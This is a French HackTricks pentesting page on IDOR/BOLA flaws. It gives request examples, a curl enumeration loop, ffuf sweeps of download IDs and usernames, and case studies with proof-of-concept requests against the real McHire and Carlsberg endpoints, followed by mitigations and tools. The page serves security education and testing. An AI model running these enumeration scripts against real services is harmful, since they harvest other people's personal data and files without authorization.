IDOR (Insecure Direct Object Reference)
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- VĂ©rifiez les plans dâabonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.
IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) apparaĂźt lorsquâun endpoint web ou API divulgue ou accepte un identifiant contrĂŽlable par lâutilisateur qui est utilisĂ© directement pour accĂ©der Ă un objet interne sans vĂ©rifier que lâappelant est autorisĂ© Ă accĂ©der/modifier cet objet. Une exploitation rĂ©ussie permet normalement une Ă©lĂ©vation de privilĂšges horizontale ou verticale, comme la lecture ou la modification des donnĂ©es dâautres utilisateurs et, dans le pire des cas, la compromission complĂšte dâun compte ou lâexfiltration massive de donnĂ©es.
1. Identifying Potential IDORs
- Look for parameters that reference an object:
- Path:
/api/user/1234,/files/550e8400-e29b-41d4-a716-446655440000 - Query:
?id=42,?invoice=2024-00001 - Body / JSON:
{"user_id": 321, "order_id": 987} - Headers / Cookies:
X-Client-ID: 4711
- Prefer endpoints that read or update data (
GET,PUT,PATCH,DELETE). - Note when identifiers are sequential or predictable â if your ID is
64185742, then64185741probably exists. - Explore hidden or alternate flows (e.g. âParadox team membersâ link in login pages) that might expose extra APIs.
- Use an authenticated low-privilege session and change only the ID keeping the same token/cookie. The absence of an authorization error is usually a sign of IDOR.
Manipulation manuelle rapide (Burp Repeater)
PUT /api/lead/cem-xhr HTTP/1.1
Host: www.example.com
Cookie: auth=eyJhbGciOiJIUzI1NiJ9...
Content-Type: application/json
{"lead_id":64185741}
ĂnumĂ©ration automatisĂ©e (Burp Intruder / curl loop)
for id in $(seq 64185742 64185700); do
curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-H "Cookie: auth=$TOKEN" \
-d '{"lead_id":'"$id"'}' | jq -e '.email' && echo "Hit $id";
done
ĂnumĂ©ration des IDs de tĂ©lĂ©chargement prĂ©visibles (ffuf)
Les panels dâhĂ©bergement de fichiers authentifiĂ©s stockent souvent les mĂ©tadonnĂ©es par utilisateur dans une seule table files et exposent un endpoint de tĂ©lĂ©chargement tel que /download.php?id=<int>. Si le handler ne vĂ©rifie que lâexistence de lâID (et pas quâil appartient Ă lâutilisateur authentifiĂ©), vous pouvez balayer lâespace des entiers avec votre cookie de session valide et voler les backups/configs dâautres tenants :
ffuf -u http://file.era.htb/download.php?id=FUZZ \
-H "Cookie: PHPSESSID=<session>" \
-w <(seq 0 6000) \
-fr 'File Not Found' \
-o hits.json
jq -r '.results[].url' hits.json # fetch surviving IDs such as company backups or signing keys
-frsupprime les 404-style templates afin que seuls les vrais hits restent (par ex., IDs 54/150 leaking full site backups and signing material).- Le mĂȘme workflow FFUF fonctionne avec Burp Intruder ou une boucle curl â veillez simplement Ă rester authentifiĂ© en incrĂ©mentant les IDs.
Oracle de rĂ©ponses dâerreur pour lâĂ©numĂ©ration user/file
Lorsquâun download endpoint accepte Ă la fois un username et un filename (par ex. /view.php?username=<u>&file=<f>), des diffĂ©rences subtiles dans les messages dâerreur crĂ©ent souvent un oracle :
- Username inexistant â âUser not foundâ
- Filename invalide mais extension valide â âFile does not existâ (parfois liste aussi les fichiers disponibles)
- Extension invalide â validation error
Avec nâimporte quelle session authentifiĂ©e, vous pouvez fuzz le paramĂštre username tout en gardant un filename bĂ©nin et filtrer sur la chaĂźne âuser not foundâ pour dĂ©couvrir des users valides :
ffuf -u 'http://target/view.php?username=FUZZ&file=test.doc' \
-b 'PHPSESSID=<session-cookie>' \
-w /opt/SecLists/Usernames/Names/names.txt \
-fr 'User not found'
Une fois que des noms dâutilisateur valides sont identifiĂ©s, demandez directement des fichiers spĂ©cifiques (par ex., /view.php?username=amanda&file=privacy.odt). Ce schĂ©ma conduit souvent Ă la divulgation non autorisĂ©e des documents dâautres utilisateurs et au credential leakage.
2. Ătude de cas rĂ©elle â McHire Chatbot Platform (2025)
Lors dâune Ă©valuation du portail de recrutement McHire propulsĂ© par Paradox.ai, lâIDOR suivant a Ă©tĂ© dĂ©couvert :
- Endpoint:
PUT /api/lead/cem-xhr - Authorization: user session cookie for any restaurant test account
- Body parameter:
{"lead_id": N}â 8-digit, sequential numeric identifier
En diminuant lead_id, le testeur a rĂ©cupĂ©rĂ© les full PII de candidats arbitraires (name, e-mail, phone, address, shift preferences) ainsi quâun JWT consommateur qui a permis le session hijacking. LâĂ©numĂ©ration de la plage 1 â 64,185,742 a exposĂ© environ 64 millions dâenregistrements.
Proof-of-Concept request:
curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-d '{"lead_id":64185741}'
CombinĂ©e avec default admin credentials (123456:123456) qui donnaient accĂšs au compte de test, la vulnĂ©rabilitĂ© a entraĂźnĂ© une violation de donnĂ©es critique Ă lâĂ©chelle de lâentreprise.
Ătude de cas â Codes QR de bracelet comme weak bearer tokens (2025â2026)
Flux : Les visiteurs de lâexposition recevaient des bracelets avec codes QR ; en scannant https://homeofcarlsberg.com/memories/ le navigateur rĂ©cupĂ©rait le printed wristband ID, lâhex-encodait, et appelait un backend cloudfunctions.net pour rĂ©cupĂ©rer les mĂ©dias stockĂ©s (photos/vidĂ©os + noms). Il nây avait aucun session binding ni authentification utilisateur â la connaissance de lâID = autorisation.
PredictabilitĂ© : Les IDs de bracelet suivaient un motif court tel que C-285-100 â ASCII hex 432d3238352d313030 (43 2d 32 38 35 2d 31 30 30). Lâespace Ă©tait estimĂ© Ă ~26M de combinaisons, trivial Ă Ă©puiser en ligne.
Exploitation workflow with Burp Intruder :
- Payload generation : Générer des IDs candidats (p.ex.
[A-Z]-###-###). Utiliser une attaque Burp Intruder Pitchfork ou Cluster Bomb avec des positions pour la lettre et les chiffres. Ajouter une payload processing rule â Add prefix/suffix â payload encoding: ASCII hex afin que chaque requĂȘte transmette la chaĂźne hex attendue par le backend. - Response grep : Marquer dans Intruder un grep-match pour des marqueurs prĂ©sents uniquement dans les rĂ©ponses valides (p.ex. media URLs/JSON fields). Les IDs invalides retournaient typiquement un tableau vide/404.
- Throughput measurement : ~1,000,000 dâIDs ont Ă©tĂ© testĂ©s en ~2 heures depuis un laptop (~139 req/s). Ă ce rythme, lâensemble de lâespace de clĂ©s (~26M) tomberait en ~52 heures. Le run dâexemple a dĂ©jĂ exposĂ© ~500 bracelets valides (vidĂ©os + noms complets).
- Rate-limiting verification : AprĂšs que le vendor ait prĂ©tendu du throttling, relancer la mĂȘme config Intruder. Un dĂ©bit/taux de hits identique a prouvĂ© que le contrĂŽle Ă©tait absent/inefficace ; lâĂ©numĂ©ration a continuĂ© sans entrave.
Quick scriptable variant (client-side hex encoding):
import requests
def to_hex(s):
return ''.join(f"{ord(c):02x}" for c in s)
for band_id in ["C-285-100", "T-544-492"]:
hex_id = to_hex(band_id)
r = requests.get("https://homeofcarlsberg.com/memories/api", params={"id": hex_id})
if r.ok and "media" in r.text:
print(band_id, "->", r.json())
Leçon : Encoding (ASCIIâhex/Base64) nâajoute pas dâentropie ; les IDs courts deviennent des bearer tokens qui sont Ă©numĂ©rables malgrĂ© un encodage cosmĂ©tique. Sans autorisation par utilisateur + secrets Ă haute entropie, media/PII peuvent ĂȘtre collectĂ©s en masse mĂȘme si ârate limitingâ est revendiquĂ©.
3. Impact dâIDOR / BOLA
- Escalade horizontale â lire/mettre Ă jour/supprimer les donnĂ©es dâautres utilisateurs.
- Escalade verticale â un utilisateur faiblement privilĂ©giĂ© obtient des fonctionnalitĂ©s rĂ©servĂ©es aux admins.
- Violation massive de données si les identifiants sont séquentiels (e.g., applicant IDs, invoices).
- Prise de contrĂŽle de compte en volant des tokens ou en rĂ©initialisant les mots de passe dâautres utilisateurs.
4. Mesures dâattĂ©nuation & bonnes pratiques
- Appliquer lâautorisation au niveau des objets sur chaque requĂȘte (
user_id == session.user). - Préférer des identifiants indirects et non devinables (UUIDv4, ULID) plutÎt que des IDs auto-incrémentés.
- Effectuer lâautorisation cĂŽtĂ© serveur, ne jamais se fier aux champs de formulaire cachĂ©s ou aux contrĂŽles UI.
- Implémenter des vérifications RBAC / ABAC dans un middleware central.
- Ajouter rate-limiting & logging pour dĂ©tecter lâĂ©numĂ©ration des IDs.
- Tester la sécurité de chaque nouvel endpoint (unit, integration, and DAST).
5. Outils
- BurpSuite extensions: Authorize, Auto Repeater, Turbo Intruder.
- OWASP ZAP: Auth Matrix, Forced Browse.
- Github projects:
bwapp-idor-scanner,Blindy(bulk IDOR hunting).
References
- McHire Chatbot Platform: Default Credentials and IDOR Expose 64M Applicantsâ PII
- OWASP Top 10 â Broken Access Control
- How to Find More IDORs â Vickie Li
- HTB Nocturnal: IDOR oracle â file theft
- 0xdf â HTB Era: predictable download IDs â backups and signing keys
- Carlsberg memories wristband IDOR â predictable QR IDs + Intruder brute force (2026)
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- VĂ©rifiez les plans dâabonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.


